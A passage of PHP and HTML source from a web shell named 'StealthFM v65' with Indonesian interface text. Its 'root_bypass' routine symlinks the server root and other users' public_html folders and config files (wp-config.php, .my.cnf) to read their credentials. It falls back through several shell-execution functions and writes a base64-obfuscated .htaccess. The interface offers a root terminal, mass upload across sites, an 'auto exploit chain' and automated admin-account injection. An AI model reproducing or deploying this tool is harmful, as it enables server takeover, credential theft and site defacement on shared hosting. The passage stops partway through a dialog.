1069 // --- SCAN SITE (JSON OUTPUT FOR GUI) ---
1070 if ($tool === 'scan_site') {
1071 $target_scan_dir = $target;
1072 $found_domains = [];
1073
1074 if (is_dir($target_scan_dir)) {
1075 $items = scandir($target_scan_dir);
1076 foreach ($items as $item) {
1077 if ($item === '.' || $item === '..') continue;
1078 $path = $target_scan_dir . '/' . $item;
1079 if (is_dir($path)) {
1080 if (preg_match('/^([a-z0-9]+(-[a-z0-9]+)*\.)+[a-z]{2,}$/i', $item)) {
1081 $found_domains[] = $item;
1082 }
1083 }
1084 }
1085 }
1086 json_out(['status' => 'success', 'data' => $found_domains, 'count' => count($found_domains)]);
1087 exit;
1088 }
1089
1090 if ($tool === 'root_bypass') {
1091 $dir = "symlinkbypass";
1092 @mkdir($dir, 0755);
1093 chdir($dir);
1094
1095 if (!function_exists('god_link')) {
1096 function god_link($target, $link) {
1097 if (function_exists('symlink') && @symlink($target, $link)) return true;
1098 if (function_exists('link') && @link($target, $link)) return true;
1099
1100 $cmd_raw = "ln -s " . escapeshellarg($target) . " " . escapeshellarg($link);
1101 $cmd = $cmd_raw;
1102
1103 if (function_exists('shell_exec')) { @shell_exec($cmd); }
1104 elseif (function_exists('exec')) { @exec($cmd); }
1105 elseif (function_exists('proc_open')) {
1106 $desc = [0 => ["pipe", "r"], 1 => ["pipe", "w"], 2 => ["pipe", "w"]];
1107 $proc = @proc_open($cmd, $desc, $pipes);
1108 if (is_resource($proc)) {
1109 @fclose($pipes[0]); @fclose($pipes[1]); @fclose($pipes[2]);
1110 @proc_close($proc);
1111 }
1112 }
1113 elseif (function_exists('passthru')) { ob_start(); @passthru($cmd); ob_end_clean(); }
1114 elseif (function_exists('system')) { ob_start(); @system($cmd); ob_end_clean(); }
1115 elseif (function_exists('popen')) { $p = @popen($cmd, 'r'); if($p) pclose($p); }
1116
1117 if(@file_exists($link)) return true;
1118 return false;
1119 }
1120 }
1121
1122 $root_ok = god_link("/", "root");
1123
1124 $etc_path = dirname(__DIR__) . "/passwd.txt";
1125 $etc = (file_exists($etc_path)) ? file_get_contents($etc_path) : false;
1126
1127 $n = 0;
1128 if($etc) {
1129 $home_dirs = get_home_dirs();
1130 $users = explode("\n", $etc);
1131 $confs = ["wp-config.php", "config.php", "configuration.php", ".my.cnf"];
1132 foreach($users as $user_line) {
1133 $u = explode(":", $user_line)[0];
1134 if(empty($u)) continue;
1135 foreach($home_dirs as $h) {
1136 $base_target = "$h/$u/public_html";
1137 if(god_link($base_target, $u . "~folder~" . str_replace("/", "", $h))) $n++;
1138 foreach($confs as $cf) {
1139 god_link($base_target . "/" . $cf, $u . "~" . str_replace(".", "-", $cf) . ".txt");
1140 }
1141 }
1142 }
1143 }
1144
1145 $ht_b64 = "T3B0aW9ucyArRm9sbG93U3ltTGlua3MgK0luZGV4cwpEaXJlY3RvcnlJbmRleCBkZWZhdWx0LnBocApSZWFkT25seSB7IE9GRiB9CjxGaWxlc01hdGNoICJcLnBocCQiPgpTZXRIYW5kbGVyIHRleHQvcGxhaW4KQWRkVHlwZSB0ZXh0L3BsYWluIC5waHAKPC9GaWxlc01hdGNoPgpSZXdyaXRlRW5naW5lIE9mZgpTYXRpc2Z5IEFueQ==";
1146 x_write(".htaccess", base64_decode($ht_b64));
1147
1148 echo "<div class='text-success'>[+] GOD MODE Bypass Active (Base64 Encoded Content)!</div>";
1149 echo "Akses Root: <a href='$dir/root/' target='_blank'>[ ROOT / ]</a><br>";
1150 echo "Akses User: <a href='$dir/' target='_blank'>[ BYPASS FOLDER ($n Users) ]</a><br>";
1151 echo "<small style='color:#777'>Keamanan: Perintah Shell & .htaccess disamarkan dengan Base64.</small>";
1152 exit;
1153 }
1154 }
1155}
1156?>
1157<!DOCTYPE html>
1158<html lang="en" data-bs-theme="dark">
1159<head>
1160 <meta charset="UTF-8">
1161 <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
1162 <title>StealthFM v65</title>
1163 <script src="https://cdnjs.cloudflare.com/ajax/libs/ace/1.32.7/ace.js"></script>
1164 <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css">
1165 <link href="https://fonts.googleapis.com/css2?family=Inter:wght@400;500;600;700&family=JetBrains+Mono:wght@400;500;700&display=swap" rel="stylesheet">
1166 <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css" rel="stylesheet">
1167
1168 <style>
1169 * { transition: border-color 0.1s ease, background-color 0.1s ease, color 0.1s ease, box-shadow 0.1s ease; }
1170 :root { --bg-body: #131314; --bg-card: #1e1f20; --bg-hover: #2d2e30; --border-color: #333333; --text-primary: #e3e3e3; --text-secondary: #a8a8a8; --accent-primary: #8ab4f8; --accent-warning: #fdd663; --accent-success: #81c995; --accent-danger: #f28b82; --accent-purple: #d946ef; }
1171 body { background-color: var(--bg-body); color: var(--text-primary); font-family: 'Inter', sans-serif; font-size: 0.9rem; padding-bottom: 60px; }
1172 .navbar { background-color: var(--bg-body); border-bottom: 1px solid var(--border-color); height: 60px; }
1173 .navbar-brand { font-weight: 700; color: #fff !important; font-size: 1.1rem; }
1174 .path-wrapper { margin-top: 80px; margin-bottom: 20px; }
1175 .fa-ghost { animation: float 3s ease-in-out infinite; }
1176 @keyframes float { 0% { transform: translateY(0px); } 50% { transform: translateY(-5px); } 100% { transform: translateY(0px); } }
1177 .sys-info-box { background: #18191a; border: 1px solid var(--border-color); border-radius: 12px; padding: 15px; margin-bottom: 15px; font-family: 'JetBrains Mono', monospace; font-size: 0.75rem; color: #ccc; box-shadow: 0 4px 10px rgba(0,0,0,0.1); }
1178 .sys-row { margin-bottom: 5px; word-break: break-all; }
1179 .sys-val { color: var(--accent-primary); }
1180 .sys-grid { display: grid; grid-template-columns: repeat(auto-fit, minmax(200px, 1fr)); gap: 5px; margin-top: 5px; }
1181 .php-link { color: var(--accent-warning); text-decoration: none; font-weight: bold; margin-left: 5px; }
1182 .php-link:hover { text-decoration: underline; color: #fff; }
1183 #terminal-panel { background: #000; border: 1px solid #333; border-bottom: none; border-radius: 12px 12px 0 0; overflow: hidden; box-shadow: 0 -5px 20px rgba(0,0,0,0.5); margin-bottom: 0; animation: slideDown 0.15s ease; }
1184 .term-header { background: #1a1a1a; padding: 8px 15px; border-bottom: 1px solid #333; border-top: 2px solid var(--accent-success); display: flex; justify-content: space-between; align-items: center; }
1185 .term-title { font-family: 'JetBrains Mono'; font-weight: 700; color: var(--accent-success); font-size: 0.8rem; }
1186 .term-body-inline { height: 180px; overflow-y: auto; padding: 15px; font-family: 'JetBrains Mono'; font-size: 13px; color: #ddd; }
1187 .term-input-row { display: flex; align-items: center; border-top: 1px solid #222; padding: 10px; background: #0a0a0a; }
1188 .term-prompt { color: #c586c0; font-weight: bold; margin-right: 8px; }
1189 #term-cmd-inline { background: transparent; border: none; color: #ce9178; width: 100%; outline: none; font-family: 'JetBrains Mono'; }
1190 #process-panel { border: 1px solid var(--border-color); border-bottom: none; border-radius: 12px 12px 0 0; overflow: hidden; background: #1e1f20; margin-bottom: 0; }
1191 .console-header { background: #252627; padding: 8px 15px; border-bottom: 1px solid #333; display: flex; justify-content: space-between; align-items: center; }
1192 .console-title { font-size: 0.75rem; font-weight: 700; color: var(--accent-warning); letter-spacing: 0.5px; text-transform: uppercase; }
1193 .panel-close { color: #666; cursor: pointer; } .panel-close:hover { color: #fff; }
1194 .path-bar-custom { background-color: var(--bg-card); border: 1px solid var(--border-color); border-radius: 15px; padding: 10px 20px; display: flex; align-items: center; box-shadow: 0 4px 10px rgba(0,0,0,0.15); position: relative; z-index: 5; }
1195 .has-panel-above { border-top-left-radius: 0; border-top-right-radius: 0; border-top: 1px solid #333; }
1196 #path-txt { font-family: 'JetBrains Mono', monospace; font-size: 0.9rem; color: var(--text-secondary); white-space: nowrap; overflow: hidden; text-overflow: ellipsis; }
1197 .input-group { border: 1px solid #333; border-radius: 8px; overflow: hidden; }
1198 #uploadInput { background: #111; color: #ccc; border: none; font-size: 0.85rem; }
1199 #uploadInput::file-selector-button { background-color: #000; color: #fff; border: none; border-right: 1px solid #333; padding: 8px 12px; margin-right: 10px; font-weight: 600; transition: 0.2s; }
1200 #uploadInput::file-selector-button:hover { background-color: #222; }
1201 .btn-upload-modern { background: #000 !important; border: none; border-left: 1px solid #333; color: #fff !important; font-weight: 600; padding: 6px 16px; }
1202 .btn-upload-modern:hover { background: #1a1a1a !important; }
1203 .btn-modern { border-radius: 8px; border: 1px solid var(--border-color); background: var(--bg-card); color: var(--text-primary); padding: 6px 12px; }
1204 .btn-modern:hover { background: var(--bg-hover); color: #fff; border-color: #555; }
1205 .btn-icon-path { background: transparent; border: none; color: #aaa; padding: 0 10px 0 0; font-size: 1.1rem; cursor: pointer; transition: 0.2s; }
1206 .btn-icon-path:hover { color: #fff; transform: translateY(-1px); }
1207 .card { background: var(--bg-card); border: 1px solid var(--border-color); border-radius: 12px; }
1208 .table { --bs-table-bg: transparent; color: var(--text-primary); margin: 0; table-layout: fixed; width: 100%; }
1209 .table thead th { background: var(--bg-card); color: var(--text-secondary); border-bottom: 1px solid var(--border-color); padding: 15px; font-size: 0.75rem; text-transform: uppercase; letter-spacing: 0.5px; vertical-align: middle; }
1210 .table tbody td { border-bottom: 1px solid var(--border-color); padding: 10px 15px; vertical-align: middle; height: 45px; }
1211 .table-hover tbody tr:hover { background-color: var(--bg-hover); }
1212 .icon-dir { color: var(--accent-warning); margin-right: 10px; font-size: 1.1rem; vertical-align: middle; }
1213 .icon-file { margin-right: 10px; font-size: 1.1rem; vertical-align: middle; }
1214 .i-php { color: #8892bf; } .i-html { color: #e34f26; } .i-css { color: #264de4; } .i-js { color: #f7df1e; }
1215 .i-img { color: #a29bfe; } .i-zip { color: #fdcb6e; } .i-code { color: #b2bec3; } .i-def { color: var(--accent-primary); }
1216 .text-folder { color: #fff; font-weight: 600; text-decoration: none; vertical-align: middle; }
1217 .text-file { color: #b0b0b0; text-decoration: none; vertical-align: middle; }
1218 .badge-perm { font-family: 'JetBrains Mono'; padding: 4px 8px; border-radius: 4px; font-size: 0.75rem; border: 1px solid var(--border-color); background: #000; color: var(--text-secondary); display: inline-block; vertical-align: middle; }
1219 .writable { color: var(--accent-success); border-color: var(--accent-success); }
1220 .readonly { color: var(--accent-danger); border-color: var(--accent-danger); }
1221 .action-btn { width: 32px; height: 32px; border-radius: 6px; border: 1px solid transparent; background: transparent; display: inline-flex; align-items: center; justify-content: center; vertical-align: middle; }
1222 .action-btn.edit { color: #3b82f6; background: rgba(59, 130, 246, 0.1); border-color: rgba(59, 130, 246, 0.2); }
1223 .action-btn.edit:hover { background: #3b82f6; color: #fff; }
1224 .action-btn.del { color: #ef4444; background: rgba(239, 68, 68, 0.1); border-color: rgba(239, 68, 68, 0.2); }
1225 .action-btn.del:hover { background: #ef4444; color: #fff; }
1226 .modal-xl { max-width: 95% !important; }
1227 .modal-content { background: var(--bg-card); border: 1px solid var(--border-color); border-radius: 12px; }
1228 .modal-header { border-bottom: 1px solid var(--border-color); }
1229 .btn-close { filter: invert(1); }
1230 #editor-container { position: relative; width: 100%; height: 85vh; border-radius: 0 0 12px 12px; overflow: hidden; }
1231 .tools-list { display: grid; grid-template-columns: repeat(2, 1fr); gap: 10px; }
1232 .tool-cmd { background: #111; border: 1px solid #2a2a2a; border-radius: 4px; padding: 15px 15px; display: flex; align-items: center; justify-content: space-between; cursor: pointer; text-decoration: none; }
1233 .tool-cmd:hover { background: #161616; border-color: #444; transform: translateX(2px); }
1234 .cmd-left { display: flex; align-items: center; gap: 12px; }
1235 .cmd-icon { font-size: 16px; width: 20px; text-align: center; }
1236 .cmd-text { font-family: 'JetBrains Mono', monospace; font-weight: 700; font-size: 0.85rem; color: #eee; }
1237 .cmd-arrow { color: #444; font-size: 12px; opacity: 0; }
1238 .tool-cmd:hover .cmd-arrow { opacity: 1; transform: translateX(-5px); color: #fff; }
1239 .c-cyan { color: #22d3ee; } .c-lime { color: #a3e635; } .c-gold { color: #facc15; } .c-rose { color: #fb7185; } .c-purple { color: #d946ef; }
1240 /* --- MODERN ROW STYLE (TOTAL OVERHAUL) --- */
1241 .modern-row {
1242 display: flex;
1243 align-items: center;
1244 background: #161616;
1245 border: 1px solid #2a2a2a;
1246 border-radius: 12px;
1247 padding: 15px;
1248 margin-bottom: 10px;
1249 transition: all 0.3s cubic-bezier(0.4, 0, 0.2, 1);
1250 position: relative;
1251 overflow: hidden;
1252 }
1253
1254 /* Hover Effect: Glow Border & Lift */
1255 .modern-row:hover {
1256 transform: translateY(-2px);
1257 background: #1a1a1a;
1258 border-color: #444;
1259 box-shadow: 0 8px 20px rgba(0,0,0,0.4);
1260 }
1261 .modern-row:hover::before {
1262 content: '';
1263 position: absolute;
1264 left: 0; top: 0; bottom: 0;
1265 width: 4px;
1266 background: var(--accent-success);
1267 box-shadow: 0 0 10px var(--accent-success);
1268 }
1269
1270 /* 1. ICON SECTION */
1271 .m-icon {
1272 width: 45px;
1273 height: 45px;
1274 background: #222;
1275 border-radius: 10px;
1276 display: flex;
1277 align-items: center;
1278 justify-content: center;
1279 font-size: 24px;
1280 color: #fff;
1281 margin-right: 15px;
1282 flex-shrink: 0;
1283 }
1284
1285 /* 2. INFO SECTION (Domain) */
1286 .m-info {
1287 flex: 1;
1288 min-width: 0; /* Text truncate fix */
1289 margin-right: 15px;
1290 }
1291 .m-domain {
1292 font-weight: 700;
1293 color: #eee;
1294 font-size: 1rem;
1295 white-space: nowrap;
1296 overflow: hidden;
1297 text-overflow: ellipsis;
1298 }
1299 .m-status {
1300 font-size: 0.7rem;
1301 text-transform: uppercase;
1302 letter-spacing: 1px;
1303 font-weight: 600;
1304 margin-top: 3px;
1305 display: inline-block;
1306 }
1307 .status-success { color: var(--accent-success); }
1308 .status-warning { color: var(--accent-warning); }
1309
1310 /* 3. CREDENTIALS SECTION */
1311 .m-creds {
1312 display: flex;
1313 gap: 20px;
1314 background: #0a0a0a;
1315 padding: 8px 15px;
1316 border-radius: 8px;
1317 border: 1px solid #333;
1318 margin-right: 15px;
1319 }
1320 .cred-group {
1321 display: flex;
1322 flex-direction: column;
1323 }
1324 .cred-group label {
1325 font-size: 0.6rem;
1326 color: #666;
1327 font-weight: bold;
1328 margin-bottom: 2px;
1329 }
1330 .cred-group .val {
1331 font-family: 'JetBrains Mono', monospace;
1332 font-size: 0.85rem;
1333 color: var(--accent-primary);
1334 cursor: pointer;
1335 }
1336 .cred-group .val:hover { color: #fff; text-decoration: underline; }
1337
1338 /* Blur effect for password privacy */
1339 .blur-reveal { filter: blur(4px); transition: 0.2s; user-select: none; }
1340 .modern-row:hover .blur-reveal { filter: blur(0); }
1341
1342 /* 4. ACTION BUTTON */
1343 .m-action { flex-shrink: 0; }
1344 .btn-glow {
1345 background: linear-gradient(135deg, #2ecc71 0%, #27ae60 100%);
1346 border: none;
1347 color: #fff;
1348 padding: 8px 20px;
1349 border-radius: 8px;
1350 font-weight: 600;
1351 font-size: 0.8rem;
1352 cursor: pointer;
1353 box-shadow: 0 4px 15px rgba(46, 204, 113, 0.3);
1354 transition: 0.2s;
1355 }
1356 .btn-glow:hover {
1357 transform: scale(1.05);
1358 box-shadow: 0 6px 20px rgba(46, 204, 113, 0.5);
1359 }
1360
1361 /* Mobile Responsive */
1362 @media (max-width: 768px) {
1363 .modern-row { flex-direction: column; align-items: flex-start; gap: 10px; }
1364 .m-icon { display: none; }
1365 .m-creds { width: 100%; justify-content: space-between; margin: 0; }
1366 .m-action { width: 100%; }
1367 .btn-glow { width: 100%; }
1368 }
1369 #toast-container { position: fixed; top: 80px; right: 20px; z-index: 9999; display: flex; flex-direction: column; gap: 10px; }
1370 .toast-msg { background: #1e1f20; color: #fff; padding: 12px 18px; border-radius: 8px; border-left: 4px solid #333; box-shadow: 0 5px 15px rgba(0,0,0,0.5); font-size: 0.9rem; min-width: 250px; opacity: 0; transform: translateX(20px); animation: toastIn 0.3s forwards; }
1371 .toast-msg.success { border-left-color: var(--accent-success); }
1372 .toast-msg.error { border-left-color: var(--accent-danger); }
1373 .toast-msg.hiding { animation: toastOut 0.3s forwards; }
1374 .cyber-footer { position: fixed; bottom: 0; left: 0; width: 100%; background: rgba(10, 10, 10, 0.85); backdrop-filter: blur(5px); border-top: 1px solid #222; padding: 8px 20px; display: flex; justify-content: space-between; align-items: center; font-family: 'JetBrains Mono', monospace; font-size: 0.7rem; color: #555; z-index: 9999; }
1375 .cyber-footer span { transition: 0.3s; }
1376 .cyber-footer:hover span { color: #888; }
1377 .cy-brand { color: var(--accent-primary); font-weight: 700; letter-spacing: 1px; }
1378 .fa-heart { color: #e91e63; animation: heartbeat 1.5s infinite; }
1379 @keyframes heartbeat { 0% { transform: scale(1); } 50% { transform: scale(1.2); } 100% { transform: scale(1); } }
1380 @keyframes slideDown { from { opacity: 0; transform: translateY(-10px); } to { opacity: 1; transform: translateY(0); } }
1381 @keyframes toastIn { to { opacity: 1; transform: translateX(0); } }
1382 @keyframes toastOut { to { opacity: 0; transform: translateX(20px); } }
1383 #async-widget { position: fixed; bottom: 50px; right: 20px; width: 300px; z-index: 10000; background: #111; border: 1px solid #333; border-radius: 8px; box-shadow: 0 5px 20px rgba(0,0,0,0.5); display: none; font-family: 'JetBrains Mono'; }
1384 .aw-header { padding: 10px; border-bottom: 1px solid #333; display: flex; justify-content: space-between; align-items: center; font-size: 0.8rem; font-weight: bold; color: var(--accent-primary); }
1385 .aw-body { padding: 12px; }
1386 .progress-bar-bg { width: 100%; height: 6px; background: #222; border-radius: 3px; overflow: hidden; margin-bottom: 8px; }
1387 .progress-bar-fill { height: 100%; background: var(--accent-success); width: 0%; transition: width 0.3s ease; }
1388 .aw-stat { font-size: 0.7rem; color: #888; display: flex; justify-content: space-between; }
1389 @media (max-width: 768px) {
1390 .desktop-toolbar { flex-direction: column; gap: 10px; } .upload-group { width: 100%; max-width: 100%; }
1391 .d-mobile-none { display: none !important; } .tools-list { grid-template-columns: 1fr; }
1392 .table th:first-child, .table td:first-child { padding-left: 8px !important; white-space: nowrap; overflow: hidden; text-overflow: ellipsis; }
1393 .table th:nth-child(3), .table td:nth-child(3) { width: 65px; text-align: center; padding: 10px 2px !important; white-space: nowrap; }
1394 .table th:last-child, .table td:last-child { width: 90px; text-align: right; padding-right: 10px !important; white-space: nowrap; }
1395 }
1396 </style>
1397</head>
1398<body>
1399
1400<nav class="navbar fixed-top">
1401 <div class="container-fluid flex-nowrap gap-3">
1402 <a class="navbar-brand d-flex align-items-center me-0" href="#">
1403 <i class="fas fa-ghost me-2 text-white"></i>
1404 <span class="text-white">Stealth<span class="text-primary">FM</span></span>
1405 </a>
1406 <div class="d-flex gap-2">
1407 <button class="btn btn-modern" onclick="goHome()" title="Home"><i class="fas fa-home"></i></button>
1408 <button class="btn btn-modern" onclick="showNewFileModal()" title="New File" style="color:#fff"><i class="fas fa-file-circle-plus"></i></button>
1409 <button class="btn btn-modern" onclick="toggleTerm()" style="color:var(--accent-success)"><i class="fas fa-terminal"></i></button>
1410 <button class="btn btn-modern" onclick="openTools()" style="color:var(--accent-warning)"><i class="fas fa-skull"></i></button>
1411 </div>
1412 </div>
1413</nav>
1414
1415<div id="toast-container"></div>
1416
1417<div class="container-fluid path-wrapper">
1418 <div class="sys-info-box">
1419 <div class="sys-row" style="color:#eee; font-weight:bold; margin-bottom:8px;">System Info: <span class="sys-val"><?php echo $sys['os']; ?></span></div>
1420 <div class="sys-grid">
1421 <div>User: <span class="text-success fw-bold"><?php echo $sys['user']; ?></span></div>
1422 <div class="d-mobile-none">Group: <span class="text-secondary"><?php echo $sys['group']; ?></span></div>
1423 <div>Safe Mode: <?php echo $sys['safe']; ?> <a href="?do_phpinfo=1" target="_blank" class="php-link">[ PHP Info ]</a></div>
1424 <div>IP: <span class="text-info"><?php echo $sys['ip']; ?></span></div>
1425 <div>Software: <span class="text-secondary"><?php echo $sys['soft']; ?></span></div>
1426 <div>PHP Ver: <span class="text-success"><?php echo $sys['php']; ?></span></div>
1427 <div class="d-mobile-none">cURL: <span class="text-secondary"><?php echo $sys['curl']; ?></span></div>
1428 <div class="d-mobile-none">Time: <span class="text-warning"><?php echo $sys['time']; ?></span></div>
1429 </div>
1430 </div>
1431
1432 <div id="terminal-panel" style="display:none;">
1433 <div class="term-header"><span class="term-title">ROOT@SHELL:~#</span><i class="fas fa-times panel-close" onclick="toggleTerm()"></i></div>
1434 <div id="term-output" class="term-body-inline"><div style="color:#6a9955;"># Stealth Shell Ready. v65</div></div>
1435 <div class="term-input-row"><span class="term-prompt">➜</span><input type="text" id="term-cmd-inline" placeholder="Type command..." autocomplete="off"></div>
1436 </div>
1437 <div id="process-panel" style="display:none;">
1438 <div class="console-header"><span class="console-title"><i class="fas fa-cog fa-spin me-2"></i> SYSTEM OUTPUT</span><i class="fas fa-times panel-close" onclick="closeLog()"></i></div>
1439 <div id="global-log" class="p-2 bg-black text-secondary" style="height:180px; overflow-y:auto; font-family:'JetBrains Mono'; font-size:0.75rem;"></div>
1440 </div>
1441
1442 <div class="path-bar-custom" id="path-bar-el">
1443 <button class="btn-icon-path me-2" onclick="loadDir('..')" title="Up Level"><i class="fas fa-level-up-alt"></i></button>
1444 <i class="fas fa-folder text-secondary me-3"></i>
1445 <div id="path-txt" title="Current Path">/</div>
1446 </div>
1447</div>
1448
1449<div class="container-fluid">
1450 <div class="card">
1451 <div class="card-header bg-transparent border-bottom border-secondary border-opacity-10 py-3 desktop-toolbar d-flex justify-content-between align-items-center">
1452 <div class="fw-bold text-white align-items-center d-none d-md-flex"><i class="fas fa-list me-2 text-primary"></i> File Manager</div>
1453 <div class="input-group input-group-sm upload-group" style="max-width: 400px;">
1454 <input type="file" id="uploadInput" class="form-control">
1455 <button class="btn btn-upload-modern" onclick="uploadFile()" id="btnUpload"><i class="fas fa-cloud-upload-alt me-1"></i> Upload</button>
1456 </div>
1457 </div>
1458 <div class="table-responsive">
1459 <table class="table table-hover align-middle">
1460 <thead><tr><th class="ps-2">Name</th><th class="d-mobile-none">Size</th><th class="text-center">Perms</th><th class="d-mobile-none">Modified</th><th class="text-end pe-4">Actions</th></tr></thead>
1461 <tbody id="fileList"></tbody>
1462 </table>
1463 </div>
1464 </div>
1465</div>
1466
1467<div class="modal fade" id="newFileModal" tabindex="-1"><div class="modal-dialog modal-dialog-centered"><div class="modal-content"><div class="modal-header"><h6 class="modal-title text-white">Create New File</h6><button class="btn-close" data-bs-dismiss="modal"></button></div><div class="modal-body"><input type="text" id="new-filename" class="form-control bg-dark text-light border-secondary mb-3" placeholder="filename.php"><textarea id="new-content" class="form-control bg-dark text-light border-secondary" rows="5" placeholder="File content..."></textarea></div><div class="modal-footer"><button class="btn btn-modern" data-bs-dismiss="modal">Cancel</button><button class="btn btn-upload-modern" onclick="submitNewFile()">Create</button></div></div></div></div>
1468<div class="modal fade" id="renameModal" tabindex="-1"><div class="modal-dialog modal-dialog-centered"><div class="modal-content"><div class="modal-header"><h6 class="modal-title text-white">Rename Item</h6><button class="btn-close" data-bs-dismiss="modal"></button></div><div class="modal-body"><input type="text" id="rename-input" class="form-control bg-dark text-light border-secondary"></div><div class="modal-footer"><button class="btn btn-modern" data-bs-dismiss="modal">Cancel</button><button class="btn btn-upload-modern" onclick="submitRename()">Save</button></div></div></div></div>
1469<div class="modal fade" id="editModal" tabindex="-1" data-bs-backdrop="static"><div class="modal-dialog modal-xl modal-dialog-centered modal-dialog-scrollable"><div class="modal-content"><div class="modal-header"><h6 class="modal-title" id="editFileName"><i class="fas fa-code me-2 text-primary"></i>Editor</h6><div class="d-flex gap-2 ms-auto"><button class="btn btn-sm btn-modern" data-bs-dismiss="modal">Cancel</button><button class="btn btn-sm btn-upload-modern px-3" onclick="saveFile()" id="btnSave">Save</button></div></div><div class="modal-body p-0"><div id="editor-container"></div></div></div></div></div>
1470
1471<div class="modal fade" id="toolsModal" tabindex="-1">
1472 <div class="modal-dialog modal-lg modal-dialog-centered">
1473 <div class="modal-content">
1474 <div class="modal-header"><h6 class="modal-title" style="color:var(--accent-warning)"><i class="fas fa-skull me-2"></i><span id="tool-title">Toolkit</span></h6><button class="btn-close btn-close-white" data-bs-dismiss="modal"></button></div>
1475 <div class="modal-body p-4">
1476 <div class="alert alert-dark border border-secondary mb-4 py-2 px-3 small d-flex align-items-center" style="background:#000;color:#aaa"><i class="fas fa-info-circle me-2"></i> Running in: <b class="ms-2 text-white"><span id="tool-path-disp">/</span></b></div>
1477 <div class="tools-list">
1478 <div class="tool-cmd" onclick="startAutoChain()"><div class="cmd-left"><i class="fas fa-radiation fa-spin cmd-icon text-danger"></i><span class="cmd-text text-danger">AUTO EXPLOIT CHAIN</span></div><i class="fas fa-arrow-right cmd-arrow"></i></div>
1479
1480 <div class="tool-cmd" onclick="runTool('backup')"><div class="cmd-left"><i class="fas fa-shield-alt cmd-icon c-gold"></i><span class="cmd-text">BACKUP (Token + Admin)</span></div><i class="fas fa-arrow-right cmd-arrow"></i></div>
1481
1482 <div class="tool-cmd" onclick="showMassUpload()"><div class="cmd-left"><i class="fas fa-rocket cmd-icon c-purple"></i><span class="cmd-text">SMART MASS UPLOAD</span></div><i class="fas fa-arrow-right cmd-arrow"></i></div>
1483
1484 <div class="tool-cmd" onclick="openScanSite()"><div class="cmd-left"><i class="fas fa-satellite-dish cmd-icon c-cyan"></i><span class="cmd-text">SCAN SITE</span></div><i class="fas fa-arrow-right cmd-arrow"></i></div>
1485
1486 <div class="tool-cmd" onclick="openAddAdminUI()"><div class="cmd-left"><i class="fas fa-user-shield cmd-icon c-lime"></i><span class="cmd-text">AUTO ADD ADMIN GUI</span></div><i class="fas fa-arrow-right cmd-arrow"></i>
1487 </div>
1488 </div>
1489 </div>
1490 </div>
1491 </div>
1492</div>
1493
1494<div class="modal fade" id="massUploadModal" tabindex="-1"><div class="modal-dialog modal-dialog-centered"><div class="modal-content"><div class="modal-header"><h6 class="modal-title text-white">Smart Mass Upload</h6><button class="btn-close" data-bs-dismiss="modal"></button></div><div class="modal-body">
1495 <div class="mb-3"><label class="small text-secondary">Target Filename</label><input type="text" id="mass-name" class="form-control bg-dark text-light border-secondary" placeholder="example: index.php"></div>
1496 <div class="mb-3"><label class="small text-secondary">File Content</label><textarea id="mass-content" class="form-control bg-dark text-light border-secondary" rows="4"></textarea></div>
1497 <div class="d-flex align-items-center gap-2"><div class="flex-grow-1 border-top border-secondary"></div><span class="small text-secondary">OR UPLOAD</span><div class="flex-grow-1 border-top border-secondary"></div></div>
1498 <div class="mt-3"><input type="file" id="mass-file-in" class="form-control bg-dark border-secondary text-secondary"></div>
1499 <div class="mt-3 small text-secondary">
1500 <i class="fas fa-info-circle"></i> <b>Smart Mode:</b> Uploads to immediate subfolders + public_html only. Fast & Safe.
1501 </div>
1502</div><div class="modal-footer"><button class="btn btn-upload-modern w-100" onclick="startMassUpload()">START BACKGROUND TASK</button></div></div></div></div>
1503
1504<div id="async-widget">
1505 <div class="aw-header"><span id="aw-title">MASS UPLOAD</span><i class="fas fa-compress cursor-pointer" onclick="toggleWidget()"></i></div>
1506 <div class="aw-body" id="aw-content">
1507 <div class="progress-bar-bg"><div class="progress-bar-fill" id="aw-prog"></div></div>
1508 <div class="aw-stat"><span>Processed: <b id="aw-done" class="text-white">0</b></span><span>Total: <b id="aw-total">0</b></span></div>
1509 <div class="mt-2 text-center"><small class="text-secondary" id="aw-status">Initializing...</small></div>
1510 </div>
1511</div>
1512
1513<div class="modal fade" id="scanResultModal" tabindex="-1">
1514 <div class="modal-dialog modal-dialog-centered modal-lg">
1515 <div class="modal-content">
1516 <div class="modal-header">
1517 <h6 class="modal-title text-white"><i class="fas fa-satellite-dish me-2 text-info"></i> Scan Results</h6>
1518 <button class="btn-close btn-close-white" data-bs-dismiss="modal"></button>
1519 </div>
1520 <div class="modal-body p-0">
1521 <div class="p-3 bg-dark border-bottom border-secondary d-flex justify-content-between align-items-center">
1522 <span class="text-secondary small">Found: <b class="text-white" id="scan-count">0</b> domains</span>
1523 <button class="btn btn-sm btn-outline-light" onclick="copyScanList()"><i class="fas fa-copy"></i> Copy List</button>
1524 </div>
1525 <div id="scan-result-body" class="p-3" style="max-height: 60vh; overflow-y: auto;">
1526 </div>
1527 </div>
1528 </div>
1529 </div>
1530</div>
1531
1532<div class="modal fade" id="addAdminModal" tabindex="-1">
1533 <div class="modal-dialog modal-dialog-centered modal-lg">
1534 <div class="modal-content">
1535 <div class="modal-header">
1536 <h6 class="modal-title text-white"><i class="fas fa-user-shield me-2 text-warning"></i> Auto Add Admin</h6>
1537 <button class="btn-close btn-close-white" data-bs-dismiss="modal"></button>
1538 </div>
1539 <div class="modal-body p-4">
1540 <div class="row g-3 align-items-center mb-4">
1541 <div class="col-auto">
1542 <label class="col-form-label text-secondary">Target Folder:</label>
1543 </div>
1544 <div class="col">
1545 <select id="admin-target-select" class="form-select form-select-sm bg-dark text-light border-secondary">
1546 <option value="jumping">Jumping (Config Grabbed)</option>
1547 <option value="symlink">Symlink (3x_sym)</option>
1548 </select>
1549 </div>
1550 <div class="col-auto">
1551 <button class="btn btn-sm btn-upload-modern px-4" onclick="startAddAdminTask()">
1552 <i class="fas fa-play me-1"></i> START INJECTION
1553 </button>
1554 </div>
1555 </div>
1556
1557 <div class="progress-bar-bg mb-2" style="height:4px;"><div class="progress-bar-fill" id="admin-prog" style="width:0%"></div></div>
1558 <div class="d-flex justify-content-between small text-secondary mb-3">
1559 <span id="admin-status-txt">Ready to inject.</span>
1560 <span>Processed: <b class="text-white" id="admin-processed">0</b> / <span id="admin-total">0</span></span>
1561 </div>
1562
